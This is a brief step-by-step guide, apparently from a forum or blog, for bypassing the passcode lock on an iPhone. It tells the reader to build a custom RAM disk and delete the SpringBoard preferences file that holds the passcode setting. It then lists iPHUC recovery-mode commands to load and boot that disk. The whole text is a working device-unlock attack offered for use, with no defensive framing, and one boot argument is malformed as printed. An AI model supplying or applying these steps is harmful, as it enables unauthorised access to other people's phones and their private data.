1. Prepare custom Apple iPhone RAM disk. Internet has tons of FAQs how to make it (for example with help of iLiberty+). Mount your RAM disk /dev/rdisk0s2 and delete file /mnt/mobile/Library/Preferences/com.apple.springboard.plist. This is a config which tells Springboard “passcode: on”.
2. Using any utility get your iPhone into “Recovery Mode” and after that upload RAM disk using something like this:
(iPHUC Recovery) #: filecopytophone Bypass_Passcode.bin
(iPHUC Recovery) #: cmd setenv\boot-args\rd=md0\-x\-s\pmd0=0×9340000.0xA00000
(iPHUC Recovery) #: cmd saveenv
(iPHUC Recovery) #: cmd bootx
3. Then reboot your iPhone and that’s it: protection by the password are not present anymore.